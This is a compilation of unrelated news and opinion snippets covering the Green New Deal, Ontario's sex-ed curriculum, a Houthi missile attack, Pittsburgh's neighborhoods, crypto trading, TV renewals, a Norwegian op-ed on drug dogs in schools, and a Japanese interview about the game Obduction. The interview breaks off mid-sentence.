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The media is abuzz with talk of a wildly ambitious proposal to address climate change and transform the economy. A group of progressive, first-term Democrats and youth activists are behind the proposal, called the Green New Deal. Met with doubt, inaction and controversy, these political newcomers argue that this extreme legislation is not only possible but absolutely necessary given the UN Intergovernmental Panel on Climate Change (IPCC)’s recent report, which warns that the causes of climate change must be dramatically addressed within the next decade or the impacts will be catastrophic.
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In support of the youth activists, Representative Ocasio-Cortez (D-NY) drafted a Green New Deal proposal and demanded that a newly selected committee convene to design a viable solution within one year.
The ambitious proposal has seven goals:
1. Shift 100 percent of national power generation to renewable sources.
2. Build a national energy-efficient “smart” grid.
3. Upgrade all buildings to become energy-efficient.
4. Decarbonize manufacturing and agricultural industries.
5. Decarbonize, repair and upgrade the nation’s infrastructure, especially transportation.
6. Fund massive investment in the drawdown and capture of greenhouse gases.
7. Make “green” technology, industry, expertise, products and services a major U.S. export.
Centered around building a green economy, the plan does not stop at decarbonization solutions; instead, it incorporates economic and social justice programs aimed at drastically reducing inequality.
“The activism and enthusiasm, partly triggered by Ocasio-Cortez, seems to tie the climate problem in with a variety of other issues — including jobs for all, living wages, healthcare for all — and that coupling is a new twist in this story, and I think it’s really exciting,” Dan Schrag, professor of climate studies at Harvard, told PRI’s Carolyn Beeler.
But this ‘reach for the moon’ approach by the optimistic freshman Democrats has been met with controversy and doubt from both major parties. In a lukewarm response, Speaker of the House Nancy Pelosi (D-CA), reinstated a previous Climate Crisis Select Committee, headed by Representative Kathy Castor (D-FL).
Ocasio-Cortez and the youth activists, spearheaded by the Sunrise Movement, argue that Pelosi’s response is insufficient, pointing to inexcusable appointment of committee members who accept donations from, or have existing investments with, fossil fuel companies, including the committee Chair, Representative Castor herself.
Related: 10 species at risk of extinction under the Trump administration
Furthermore, critics of the response argue that the committee is ineffective without subpoena power, or the right to summon witnesses to court.
Pelosi and other seasoned Democrats, however, are concerned the plan is naively optimistic, and wary that the environmental proposal includes divisive platforms such as guaranteed employment and universal healthcare. They argue the proposal must focus more singularly in order to receive the support needed to be effective.
Opponents also question how the government will afford the aggressive budget. Since the proposal is more of what the Intercept called a “plan to make a plan,” no exact cost-analysis exists, but the green economy overhaul is expected to cost the government trillions of dollars.
Watch Rep. Ocasio-Cortez answer the funding question with CNN’s Chris Cuomo:
Ocasio-Cortez’s chief of staff, Saikat Chakrabarti, is similarly unapologetic about the price tag. He confirmed to The Intercept that the Green New Deal deliberately “touches on everything — it’s basically a massive system upgrade for the economy.”
Supporters are determined that green energy-related policy and jobs can be the vehicle on which they transform pervasive inequality and unchecked capitalism and respond to catastrophically urgent climate issues. In fact, IPCC’s report states that adequately addressing climate change will require “unprecedented transitions in all aspects of society.”
Despite the spike in tweets and Google searches over the past few months, media attention and controversy alone will not save the planet. So when the media’s attention shifts, will the committee be able to make any traction toward the proposed goals?
Related: 6 positive advancements against climate change to lead us into 2019
Given the Trump administration’s disregard for climate science and refusal to hinder the fossil fuel industry, many believe it is unlikely there will be any legislative impact until 2021 at the earliest.
This month, however, Governor Cuomo of New York announced his own state-level proposal, explicitly calling it a Green New Deal and including a statewide goal to become 100 percent renewable by 2040.
A recent poll by the Yale Program on Climate Communication and the George Mason University Center for Climate Change Communication revealed that a majority of respondents from left, right and center political-affiliations support the general goals of the Green New Deal. Among millennials, a group that will soon become the largest voting group in the country, 51 percent of all respondents support the Deal.
While the specific legislative promises are uncertain and likely impossible without more controversy and political disobedience, the proposed Green New Deal has politicians and the American public thinking about the need for drastic actions toward climate change and may succeed in turning the tide on inaction just moments before our last chance.
Via Vox
Images via Makunin and Mrganso | {
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For some Ontario parents who decry the province's new sex-ed curriculum, the addition of one small word would make a big difference. Love is never mentioned in the curriculum in the context of sex.
"It's reducing sexual activities to mere, kind of, physical acts decoupled from love and commitment and relationships," said Michal Szczech, a Mississauga father of two who has helped organize opposition to the curriculum within his Polish-Canadian community.
But education experts who designed Ontario's new health lessons, including sex ed, aren't alone in steering clear of talking about love, and they say they do so for a reason.
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"The language relating to healthy relationships is intentionally inclusive, so that what students learn in this area can be applied to all of their relationships – with friends and peers, family members, and as they get older with potential romantic interests or a partner/husband/wife in the future," said the Ministry of Education in a written statement.
Sex ed accounts for only about 10 per cent of Ontario's new health curriculum, which will be introduced in schools in September.
The new lessons include information about same-sex relationships, masturbation, affirmative consent and the perils of sexting. They will bring the province in line with how sex ed is taught across Canada, said Chris Markham, the CEO of Ophea, a non-profit that promotes health education for Ontario children.
That includes how they instruct teachers to go about discussing the emotional side of sex. Two years ago, the organization compared health curricula across the Canadian provinces and found that none of them talked about love.
The lessons are meant to provide information from an "unbiased perspective," said Mr. Markham.
"I think probably even the word 'love' is a bit of a loaded term," he said.
Instead, the curriculum is meant to create a framework for children to think, and maybe ask, about their range of feelings, he said – especially in an era of conversation-based lessons, where students don't just sit and listen to what the teacher says.
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"I think the fundamental premises around healthy relationships – and if you want to call that quote-unquote love – I think it's in there."
Still, some long-time sex educators say you can do more to fill in the blanks of how feelings, romance and sex can fit together, and that children and teens crave that discussion.
"It feels incomplete if we don't talk about that," said Judy Metzger, a former nurse who teaches evening sex-ed classes in Seattle that are designed for preteen girls to take with their mothers.
In one exercise, Ms. Metzger asks girls to think about how they express their feelings for different people. If a girl saw her grandmother, for example, she'd probably give her a hug – it might even feel strange if she didn't.
But what about a stranger, she asks? Do you give them a handshake, or hug them?
"It's really real for kids 10 to 12 when you say, 'If I went up and hugged a total stranger, why would that be weird?'" she said. "They just go nuts with that. You would never hug a total stranger."
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She then asks them to think about the intimacy of sex.
"That's why some people say this action belongs in marriage; that's why some people say this action belongs in a committed adult relationship," she tells the kids in her classes. "Because it's bigger."
She tells them people can and do decide to have sex with strangers – but that it's important to think through their own feelings. Adults don't always give children enough credit, said Ms. Metzger.
"They see [references to] people having sex casually. They see sexual encounters that are meaningful, and they know that those exist," she said.
"I think, absolutely, when there's no talk of commitment or love, you've missed out on the chance to see it fully in context, and I think there's a lot of kids that would be kind of confused by that."
One Canadian province does sex education a little differently. Quebec doesn't have a formal sex-ed curriculum, instead asking teachers to weave it into other classes – an ad-hoc approach that has drawn criticism. However, the province's sex-ed guidelines mention love many times.
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Grade 6 students are asked, in a questionnaire, if they are interested in talking about "the differences between friendship, love and being in love," and about how and why older teenagers decide to start having sex.
In high school, it's suggested, teachers could ask students to analyze the differences between attraction, seduction and love, using characters from novels as examples. | {
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WASHINGTON — Hoping to defuse a Republican rebellion, Speaker Paul D. Ryan promised Thursday that House Republicans would draft compromise legislation on immigration, setting up a showdown on one of the thorniest political issues just as the midterm campaign comes into focus.
Conservative Republicans loath to loosen immigration rules remained at odds with moderates pressing to protect young immigrants brought to the country illegally as children, as Mr. Ryan and his fellow leaders in the House labored to reach an accord. And the deadline for an agreement could come within days.
Moderate Republican lawmakers need only three more signatures on a petition to force a series of immigration votes over the speaker’s objections, including at least two that would focus on those young immigrants, known as Dreamers. Because of the arcane rules for such “discharge petitions,” those lawmakers face a Tuesday cutoff to gather the 218 names needed to force floor action in late June.
“We have a firm deadline of Tuesday,” said Representative Jeff Denham of California, a leader of the petition drive. “Tuesday we will hit 218.” | {
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A statement by the Western-backed Saudi coalition on Wednesday said a missile fired by Iran-backed Shiite Houthi rebels in Yemen targeted the arrival hall of the Abha airport in southern Saudi Arabia. The attack reportedly wounded 26 people, including three women and two children.
The Houthis confirmed they fired a cruise missile at Abha airport, which is about 200 kilometers (125 miles) north of the Yemen border.
Saudi Arabia said the missile attacked amounted to a war crime and that it would respond "urgently and timely."
"This attack also proves this terrorist militia's acquisition of new special weapons; the continuation of the Iranian regime's support and practice of cross-border terrorism…," the coalition said.
Read more: Saudi Arabia will defend itself 'with all force' but doesn't want war
Saudi allies, Bahrain and Egypt, condemned the missile attack and called for an immediate halt to all attacks on Saudi territories.
It was the third major armed attack by Houthis inside Saudi Arabia in the past few weeks, with the Yemeni rebels targeting two oil-pumping stations and launching a drone attack on Najran airport in May.
Yemen: An ever-worsening crisis War: The 'root cause' of Yemen's disasters The UN has identified conflict as the "root cause" of Yemen's crises. Tens of thousands of people have been killed since the war erupted in 2014, when Shiite Houthi rebels launched a campaign to capture the capital, Sanaa. In March 2015, a Saudi-led coalition launched a deadly campaign against the rebels, one that has been widely criticized by human rights groups for its high civilian death toll.
Yemen: An ever-worsening crisis Fighting keeps food from the famished The conflict has prevented humanitarian aid from reaching large parts of the civilian population, resulting in more than two-thirds of the country's 28 million people being classified as "food insecure." Nearly 3 million children and pregnant or nursing women are acutely malnourished, according to the UN World Food Program.
Yemen: An ever-worsening crisis Displacement: Converging crises More than 3 million people have been displaced by conflict, including marginalized communities such as the "Muhammasheen," a minority tribe that originally migrated from Africa. Despite the civil war, many flee conflict in Somalia and head to Yemen, marking the convergence of two major migration crises in the Middle East nation. Yemen hosts around 250,000 Somali refugees, according to UNHCR.
Yemen: An ever-worsening crisis Cholera: A deadly epidemic The number of suspected cholera cases has exceeded more than 2 million and least 3,700 people have died from the waterborne bacterial infection in Yemen since October 2019, said the WHO. Although cholera can be easily treated, it can kill within hours when untreated.
Yemen: An ever-worsening crisis Unsuspecting victims of the'war on terror' In Yemen, violence goes beyond civil conflict: It is considered a strategic front in the war on terrorism. The country serves as the operational base for al-Qaida in the Arabian Peninsula, dubbed the "most dangerous" terrorist group before the rise of the "Islamic State." The US routinely uses drones to target al-Qaida leadership. However, civilians have often been killed in the operations.
Yemen: An ever-worsening crisis Children's fate: Future marred by tragedy In a country paralyzed by conflict, children are one of the most at-risk groups in Yemen. More than 12 million children require humanitarian aid, according to the UN humanitarian coordination agency. The country's education system is "on the brink of collapse," while children are dying of "preventable causes like malnutrition, diarrhea and respiratory tract infections," according to the agency.
Yemen: An ever-worsening crisis Peace: An elusive future Despite several attempts at UN-backed peace talks, the conflict continues to rage on. Saudi Arabia has vowed to continue supporting the internationally recognized government of Yemeni President Abed Rabbo Mansour Hadi. On the other hand, Houthi rebels have demanded the formation of a unity government in order to move forward on a political solution. A peace deal, however, remains elusive. Author: Lewis Sanders IV
Read more: Yemen: Houthi drone 'hits Saudi arms depot'
Wednesday's attack came just hours before Japanese Prime Minister Shinzo Abe landed in Tehran — seeking to ease tensions between the US and the Iranian regime. Riyadh and Washington accuse Tehran of supporting armed militias across the Middle East.
Increasing tension
Yemen has been torn apart by a protracted civil war between the internationally recognized government of President Abed Rabbo Mansour Hadi and the Shiite Houthi rebels. In support of the Hadi government, Riyadh launched an air campaign against the Houthis in March 2015. Saudi Arabia accuses Iran of backing the rebels, who have made significant territorial gains in the impoverished Middle Eastern country.
Read more: Yemenis rally in Sanaa to support Houthis on conflict anniversary
At least 10,000 people have been killed and more than 3 million people have been displaced since the start of the conflict. Around 80% of Yemen's population is in urgent need of aid, and millions of people have problems accessing water, according to the UN.
A Houthi military spokesman said Wednesday the attack on Abha airport was a response to the Saudi coalition's "crimes" against Yemen.
"The most modern American systems could not intercept the missiles," he said in comments carried by the rebels' media center.
International pressure has mounted for the two sides to end the conflict. The United States has called for a ceasefire and reduced some of its logistical aid for the Saudi coalition, while Iran has also signaled support for the peace talks.
Read more: Islamic bloc supports Palestinians, backs Saudis in Iran conflict
Watch video 02:05 Share Middle East: proxy conflicts Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2nR19 Tensions run high between Saudi Arabia and Iran
shs/msh (Reuters, AP)
Every evening, DW's editors send out a selection of the day's hard news and quality feature journalism. You can sign up to receive it directly here. | {
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I regeringens Public Service-proposition läggs som väntat det tidigare förslaget om att införa en skattefinansierad Public Service på hyllan. SR, SVT och UR ska istället, precis som tidigare, finansieras med licenspengar. Även sändningstillståndet blir kvar i sin nuvarande form.
– Övergripande är det här en proposition som borgar för att SVT, SR och UR kommer att vara fortsatt starka och oberoende Public Service-bolag, säger SVT:s VD Eva Hamilton.
Programmen får inte bli ”marknadsstörande”
Public Service-bolagens program ska däremot i framtiden utredas så att de inte blir ”marknadsstörande” för de kommersiella aktörerna. I praktiken kan det betyda att man helt enkelt inte får bli rejält framgångsrika på ett område där kommersiella aktörer verkar. Det här gillas förstås inte av Public Service-bolagen.
– Om framförallt SR och SVT ska börja korrigera sina program utifrån vad de kommersiella bolagen erbjuder, då blir det en väldigt svajig tur, och så fort man kommer med något väldigt bra inom exempelvis barnprogrammen, då skulle SVT:s Barnkanalen vara tvungen att backa tillbaka, för att inte störa, säger Eva Hamilton. | {
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How did the city decide that there would be 90 neighborhoods? Will there ever be more? 90.5 WESA's Good Question investigates.
Pasted to the wall of Department of City Planning is a large, colorful map of Pittsburgh.
It’s divided into seven shades, denoting city planning sectors and parks, and a light red line squiggles throughout the jagged map.
Pittsburgh has always had neighborhoods, but Good Question! listener Jim Hathaway wondered why there were exactly 90 of them.
“I’d like to know how they came to be and how the boundaries were drawn,” he said.
Originally, neighborhoods were defined by geographic features like rivers and hills. Later, residential clusters were separated by railroad tracks and ethnic groups. Pittsburgh Foundation Senior Programming Officer Jane Downing worked in the city's planning department for years. She said Pittsburghers always identified with their neighborhoods, but they didn’t have a lot of political strength. Back then, power was wielded by leaders of the city’s wards.
“The ward bosses would come in, negotiate with the mayor or with city council about where roads should be paved, where parks should be built, where development should occur—things like that,” Downing said.
Then, in 1969, Pete Flaherty was elected mayor. Running as an Independent, Downing said his slogan was “I’m nobody’s boy,” because he wanted to rid the city of political corruption. Part of eliminating that corruption, Downing said, was detaching influence from ward leaders and spreading it to individual neighborhoods.
“He wanted to create a system based on data and non-political affiliation to make recommendations on how city capital expenditures, primarily, should be allocated,” she said.
This is part of our Good Question! series where we investigate what you've always wondered about Pittsburgh, its people and its culture.
Under the Flaherty administration, the Neighborhood Planning Division was created within the Department of City Planning. Nine community planners were assigned to different regions of the city and focused on the needs of each neighborhoods, like building new fire stations or improving business districts.
Around the same time, residents were asked to define the boundaries of their neighborhoods at community meetings across the city. Much of this work was done by the Pittsburgh Neighborhood Alliance, a collaboration of 30 neighborhood groups, who went on to create the Pittsburgh Neighborhood Atlas project.
The Atlas documented the history of a neighborhood, the demographics and any other notable information. It helped define the boundaries of the neighborhoods and allowed city planners to draw up a new map.
“That’s when they started to publish maps that had the neighborhood names according to census tracts,” Downing said.
Each census tract contains roughly 4,000 people. Larger neighborhoods like Shadyside include multiple census tracts, and smaller neighborhoods, such as Northview Heights, have just one.
Marketing the 90
Consistency is a good thing when it comes to tracking regional analytics, like median household income and family size. It also makes it easier for neighborhoods to market themselves, according to Urban Redevelopment Authority neighborhood business district manager Josette Fitzgibbons. She once worked for an organization dedicated to helping communities improve their image called the Neighborhoods for Living Center.
Neighborhood boundaries are an inexact science. - Josette Fitzgibbons
“The goal was … to say, ‘we are a city, but we have 90 neighborhoods and each one has its own character and these are the things that are great about each of these neighborhoods,” Fitzgibbons said.
Her group would help teach neighborhood organizations how to plan festivals and create brochures advertising their communities. Their work came at a time when Pittsburgh had spent a lot of energy building the business district in the Golden Triangle.
In the 1980 census, there were 88 city neighborhoods. A decade later, the final two were added—North Shore and South Shore. Fitzgibbons said unless the city annexes another municipality that number 90 will stand. The boundaries aren’t perfect, and sometimes the official line might be outside where a resident self-identifies, but she said the city tries its best.
“Neighborhood boundaries are an inexact science,” she said.
Think you can identify all of Pittsburgh's neighborhoods? Take this test.
What’s in a name?
In 2015, Mentalfloss published a list of how 65 Pittsburgh neighborhoods got their names, based on Names of Pittsburgh and Pittsburgh: A New Portrait, by historians Bob Regan and Franklin Toker.
The books describe the categories of origins for each neighborhood—the largest historic land owner, businesses, estates, natural features and public housing developments.
A 1923 book by the Daughters of the American Revolution, Early Land Marks and Names of Old Pittsburgh, noted the Point Breeze neighborhood was named for a homonymous tavern with a peculiar meal.
“The tavern was noted for its delicious suppers, the specialty being frogs.” The West End neighborhood was once called Temperanceville, until the city annexed the borough in 1873.
Brighton Heights used to be called Davisville and East Carnegie was once named Mansfield.
The South Side is filled with the histories of two men in particular, John Ormsby and Nathaniel Bedford. Ormsby, a soldier and businessman, owned most of what’s now the South Side Flats. The names of several of his children, Jane, Oliver, Mary and Sarah, are streets in the neighborhood.
Good Question! listener Wesley Lucas asked, “How did Fairywood get its name?” The neighborhood’s origins are somewhat of a mystery. Downing said it was probably the name of a public housing development in the area, although the more well-known Section 8 housing units were Broadhead Manor and Westgate Village.
In his book, Regan said the Pennsylvania Railroad had a hand in naming Fairywood, although it’s not clear why they went with a fantasy nature name.
Mount Washington’s had a handful of different titles, including Coal Hill, Gray’s Garden and Cowanville. Eventually it was named for George Washington around 1880.
Sub-neighborhoods and signage
Sub-neighborhoods have always been a part of Pittsburgh, despite their absence from the city’s official 90 listing. Residents in these communities identify with whatever name they consider describes their area, but Fitzgibbons said it’s unlikely they’ll ever be added to the official map.
“It’s part of what makes us such a great city,” she said. “There’s these little pockets, incredible little pockets.”
On the North Side, for example, is a small sub-neighborhood called Brightwood, which technically is part of Marshall-Shadeland. These areas often have their own community organizations that hold meetings and events.
Another example, Fitzgibbons said, is adjacent to Brightwood.
“The map calls that Marshall-Shadeland or Perry North or Perry South, but really everybody calls it Observatory Hill and Perry Hilltop,” she said.
Downing said when she technically lived within Point Breeze and Regent Square, she and her neighborhoods created a sub-community called Park Place. It’s now the home of the Environmental Charter School.
“We put up signs on Braddock Avenue and said we were Park Place,” Downing said. “I don’t remember City Council saying that was a designation…but I remember getting permission to put the signs up.”
Duck Hollow is a tiny community hugging Squirrel Hill South and Swisshelm Park with a bunch of birds and a quaint “Population: Just Enough” greeting sign.
Some sub-neighborhoods, including Panther Hollow in Oakland, have their own dialect, as reported by 90.5 WESA’s Margaret J. Krauss in 2014.
Named for people and places from the Mexican-American War, the Mexican War Streets on the North Side are technically within the boundaries of the Central Northside neighborhood. It’s now a designated historic district, along with 13 other areas in the city.
Fitzgibbons said these sub-neighborhoods--and there are many more--will likely continue to evolve, as the city changes. And, she said, that’s a healthy thing.
“That’s part of Pittsburgh,” she said. “It’s just part of the fabric of the city."
Other people documenting Pittsburgh's 90 neighborhoods:
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Bitkan Launch OTC Bitcoin Cash Trading via Mobile App
Bitcoin trading services provider, Bitkan, has announced the launch of over the counter (OTC) bitcoin cash trading. OTC trading allows users to trade bitcoin cash outside of the order books of exchanges, allowing high volume traders to access competitive pricing.
Also Read: Bitkan Announces the 2017 BTC & Blockchain International Summit
Bitkan Has Launched OTC Bitcoin Cash Trading on Its Mobile App
Bitkan has announced the launch of OTC bitcoin cash trading, which is available to users via the Bitkan’s mobile app. Bitkan launched the OTC bitcoin trading feature on its mobile app last year, following significant investment from Chinese mining hardware company, Bitmain.
Bitkan issued a statement articulating the company’s view that bitcoin cash trading comprises an extension of the bitcoin markets, and the company wishes to stay competitive with other major players within China’s cryptocurrency trading industry. “BCC users are largely BTC users. And Okcoin and Huobi have opened BCC deposit and withdrawal services, which suggests that BCC could gain more momentum soon.”
“The Cryptocurrency Market Is Very Active This Year”
Alongside the introduction of OTC bitcoin cash trading, Bitkan also launched ethereum support for their mobile app this week. Bitkam representative Sandy Liang has told media that Bitkan believes OTC cryptocurrency has significant growth potential in China, stating that the company “thinks the cryptocurrency market is very active this year, users’ demand is growing too. We see the OTC market should be pluralistic”.
Bitkan was founded in China in 2013, and has sought to become a market leader in China’s mobile bitcoin services industry. Bitkan will host a major cryptocurrency and blockchain event in Beijing next month, called the ‘Shape the Future’ 2017 Blockchain Global Summit.
The event will host the screening of Bitkan’s documentary premiere, which news.Bitcoin.com has covered here. The event will be in attendance by many Chinese and international cryptocurrency industry leaders, including Bitmain’s Jihan Wu, Huobi’s Leon Li, OKCoin’s Star Xu, CHBTC’s Dawei Li, ViaBTC’s Haipo Yang, MGT Capital Investments CEO John McAfee, and Bitcoin.com CEO Roger Ver.
Do you believe that there is sufficient demand for OTC bitcoin cash trading from China’s markets? Share you thoughts in the comments section below!
Images courtesy of Shutterstock and Bitkan
Want to create your own secure cold storage paper wallet? Check our tools section today. | {
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Showtime has handed a Season 3 renewal to its Lena Waithe-created drama The Chi. The news comes just weeks after the series’ sophomore-season debut on the premium cable net.
“The Chi revels in revealing the beating heart of the South Side of Chicago,” said Gary Levine, President of Entertainment at Showtime Networks. “We, like our viewers, have fallen in love with these characters, and we remain eager to see where Lena and her fellow artists will take them in Season 3.”
Produced by Fox 21 Television Studios, The Chi is a timely coming-of-age story about a group of residents who become linked by coincidence but bonded by the need for connection and redemption. Jason Mitchell, Ntare Guma Mbaho Mwine, Jacob Latimore, Alex Hibbert, Yolonda Ross and Armando Riesco star.
In Season 2 of The Chi, which airs at 10 p.m. Sundays, Brandon’s (Mitchell) ambitious plan for his food truck business. Emmett (Latimore) makes an effort to grow up and get custody of his son, while his mother, Jada (Ross), discovers a new life of her own. Kevin (Hibbert) reckons with trauma as he strengthens bonds with his buddies. Ronnie (Mwine) attempts to reclaim his life, while Detective Cruz (Riesco) launches a new investigation.
Boomerang creator Waithe, who won an Emmy for Netflix’s Master of None, executive produces the series along Oscar and Emmy winner Common, Ayanna Floyd Davis, Aaron Kaplan, Rick Famuyiwa, Derek Dudley and Shelby Stone.
2018-19 Renewals And Cancellations For Broadcast, Cable & Streaming | {
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Outgoing Department of Homeland Security Secretary Kirstjen Nielsen walks out of her home to speak to the media on April 08, 2019 in Alexandria, Virginia. President Trump announced the departure of Nielson on Twitter after the two met at the White House on Sunday. Photo : Mark Wilson ( Getty Images )
Former Homeland Security Secretary Kirstjen Nielsen, thief of migrant children, is going to have a tough time finding a new job because she was the head of the migrant baby stealing program and people outside the Trump administration don’t like baby stealing!
According to t he Atlantic, folks close to Nielsen say that in normal situations people who leave high-profile positions like DHS secretary have their pick of other private-sector jobs.
But not a migrant baby stealer.
“She’s going to have a real challenge getting on boards,” one GOP operative familiar with Nielsen’s team, told t he Atlantic.
Raw Story notes that even before Nielsen’s forced resignation, her connection to Trump’s zero-tolerance border policy (a.k.a. baby stealing) was going to have the upper elite turning their noses up at her.
“It was like, ‘We’re going to get hung with this,’” the operative said. “So they were thinking even then, ‘What does she do after this?’”
One former senior White House official told t he Atlantic that Nielsen is the Outbreak monkey that no one wants around.
“Family separations make her completely and totally unhirable,” the ex-official said. “I mean, major companies will face employee or shareholder protests over hiring any high-profile Trump person. But for someone who oversaw that debacle, holy crap—it’d be insane.”
The ex-GOP operative noted that although Republicans “almost always have a tougher time landing sexy corporate posts” after leaving their respective administrations, Trump’s putrid administration “has just exacerbated that to such an insane degree.”
A current Trump campaign official noted that because she didn’t leave the Trump administration on good terms that also doesn’t bode well for the former baby stealer.
“Her perceived disloyalty and lack of alignment with her principals will be more damaging,” the campaign official told t he Atlantic. | {
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Dallas Cowboys quarterback Dak Prescott surpassed expectations in his first two starts, but remains aware of his place on the team's hierarchy.
Prescott - selected in the fourth round of the 2016 NFL Draft - became the team's starter when Tony Romo broke a bone in his back during the preseason. The rookie went 22-of-30 for 292 yards and a rushing touchdown during the Cowboys' 27-23 win over the Washington Redskins on Sunday. However, Prescott remains deferent after steering the team to a 1-1 mark.
"This is Romo's team. I've said that from the moment that I was named the starter and he went down," Prescott said via Brandon George of The Dallas Morning News. "I'm just trying to do my best to win games and put this team in a successful position to do that week in and week out and when he comes back I'll leave that up to the big guys."
Prescott has taken care of the ball, avoiding interceptions during his first two NFL games, but downplayed the accomplishment.
"I've just thrown a lot of balls, I guess you can say, in two games," Prescott said. "It doesn't really mean anything to me. It's all about the wins. I'd like to be 2-0. Records are meant to be broken. That happened, and I'm sure that will get broken at some point." | {
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What if an artist walks by, not knowing Mcat is there, and Monstercat lunges out of the box at the artist? Just thought it would be a funny scenario, actually should I make it a story. Ooh, then I could tell people to come check this out! I am inspired obviously. | {
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RAZZIA: Er det greit at politiet får blankofullmakt til drive med «forebyggende arbeid» på skoler? Skal politiet kunne bruke hunder på skoler for å bekjempe narkotika, uten noen form for mistanke? Ja, sa Stortingets justiskomité. Nei, sier Venstre.
Jon Wessel-Aas og Reidar Hjermann advarer i Dagbladet forrige tirsdag mot å bygge videre på praksisen med ransakelser i klasserom. Venstre deler deres oppfatning. Venstre mener det samme rettsvernet og de samme reglene skal gjelde for skoleungdom som for alle andre borgere og arbeidstakere.
Heldigvis ble det opprinnelige forslaget endret. Venstre vil følge nøye med at justisministeren nå følger opp Stortingets vedtak. Vi forutsetter at dagens praksis stanses.
Det er skuffende at det kun var Venstre som protesterte mot at elever helt vilkårlig kan bli ransaket etter narkotika med hund i klasserommet. Stortingets justiskomité mente nemlig enstemmig at «bruken av narkotikahunder i den forebyggende og oppsøkende virksomheten på skoler framstår som et riktig og godt verktøy». En samlet komité mente faktisk at det var «verdt å vurdere en videreføring av ordningen i det øverste trinnet på ungdomsskolen». Skremmende.
Justiskomiteen viste til at bruk av narkotikahunder på skoler siden 2008 har vært et ledd i Oslo-politiets forebyggende arbeid mot narkotikabruk blant ungdom. Ifølge komiteen har Oslo politidistrikts evaluering av ordningen har gitt positive tilbakemeldinger fra både elevråd, skoleledelse og lærere. Ifølge Justisdepartementet ønsker alle parter at politiet bidrar med en slik innsats oftere enn i dag. Her blir fakta fordekt. Elevorganisasjonen har vært svært kritisk til denne praksisen - med rette.
Venstre mener det må gjøres langt mer for å forebygge rusavhengighet. Rusmisbruk skal bekjempes, også i skolen, men det må gjøres innenfor rettsstatens rammer. Derfor foreslo Venstre at de sosialfaglige virkemidlene i skolen skulle styrkes og at det må gjennomføres en opptrappingsplan for flere helsesøstre i skolen. Det stemte stortingsflertallet mot. Det er både uforståelig og skuffende. Skal vi få bukt med narkotika på skolene, må vi gjøre langt mer enn å sende uniformert politi med hund inn i skolegården uten forvarsel. Da må det jobbes systematisk og det må samarbeides bedre mellom politiet og helsesøstrene. Elever med rusproblemer må hjelpes og ses - ikke skremmes bort fra skolene. | {
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[2016/10/03 22:42]
パブリッシャがいないという問題
正しい種類の困難
語り部なしに物語を語るということ
「MYST」は画期的なゲームだった。その栄光にさまざまな意見もあるが，Cyan Worldsの IPは，ゲーム界の発展とオーディエンスの拡大において，極めて重要なマイルストーンであった。約10年もの間，「最も売れたPCゲーム」というタイトルを維持した「MYST」はゲーム用のCD-ROM技術が広がるのに重要な役割を果たし，また，すべてのジャンルの模倣を生み出した。リメイクされること3回，一連のMYST本が生まれ，テレビシリーズが制作され，また，MYSTを舞台にしたテーマパークがアメリカのディズニーワールド内に建設されるかもしれないというところまで行ったのである。IPがこれらのことを巻き起こすのはすごいことだ。そしてCyan Worldsは満を持して，「Obduction」をリリースした。MYSTの名を捨てたものの，その美学を色濃く受け継ぎ素晴らしい効果を上げている。大部分のファンにとってObductionは，MYSTを素晴らしいものにした世界観，繊細な物語，ワクワクするパズルなどへの盛大な祝賀なのだ。しかし，共同創業者でリード・デザイナーのによれば，Obductionの成功の重要な部分はまだ売上に反映されていないという。「神経がすり減りそうですよ」とMiller氏は言葉少なに笑った。「心血を注ぎ，創造的な努力を尽くすと，人々に受け入れられ，喜んでもらえるだろうと思えてくるのです。しかし，それが本当にそうなのか，リリースするまで分からないのです。本を書くのも同じようなことではないかと思います。ようやく書き上げ，締切や資金が許す限り最高のレベルに仕上げて世に送り出したあとは，ただ待つだけなのです。ですからもう，リリースした日，最初にレビューが届いたときのことを今も覚えています。かなり高い評価だったので，ホッとしてため息をつきました。それでこう言ったんです。「OK，もうこれでいい。レビューは一つで十分。1人だけでも喜んでくれた人がいたということが分かれば，あとはすべてマイナスコメントでもいい」その後，もちろん意見を変えましたけれども。いいレビューばかりが届くと，もっと高い評価を期待してしまうので，欲張らないようにと自分自身に言い聞かせなければなりませんでした」「しかし，特集記事やレビューが必ずしも売上に直結しているとは思いません。しかも私たちはマーケティングもしていない小さなインディーズゲーム開発会社にすぎません。いえ，もっと率直に言えば，マーケティングのための資金を残していなかったのです。今私たちは次のステージが何なのか解き明かさなければなりません。Obductionについて思うのは，私たちのほかのゲームも同様ですが，もしかしたら少し勢いが続いて，はやりのFPSよりも長続きできるかもしれません。でもそれを人々にどうやって知ってもらうかを考える必要があります。必ずしも多くの人が「Obduction」を知っているわけではない，そんな風に感じています。だからそれが次のステップです。ところで，私たちに限ったことではないと思いますが，とてつもなく素晴らしい作品を作れたとしても，人々にそれを知られなければ大失敗となるわけです。インディーズ開発者にとってこれは大きな問題です。私たちにとって，人々に直接販売するという素晴らしいイコライザの部分が問題なのです。（インディーズなので）パブリッシャ（出版元）はいないのですが，パブリッシャ（Publish：「公表」する人）がいないのです」まともなゲームをすでに持っていることが前提だが，マーケティングは多くの開発者が直面している最大の問題だろう。しかしMiller氏にとって救いなのは，彼が上客をつかんでいることだろう。彼らは忠実であり，またMiller氏の世界観の構築をいつまでも待っている。さらに，これらのオーディエンスは，思慮深くスマートで理解度が高いという，Miller氏がゲームで好む主題に合致した特徴を備えている。「私はいつでも，辛辣な一般オーディエンスよりも，少数であっても理解してくれるオーディエンスを選びます。そういう人々から，また，私たちが参加するゲームショウからも，多大なサポートがあります。ちょうど先週PAX 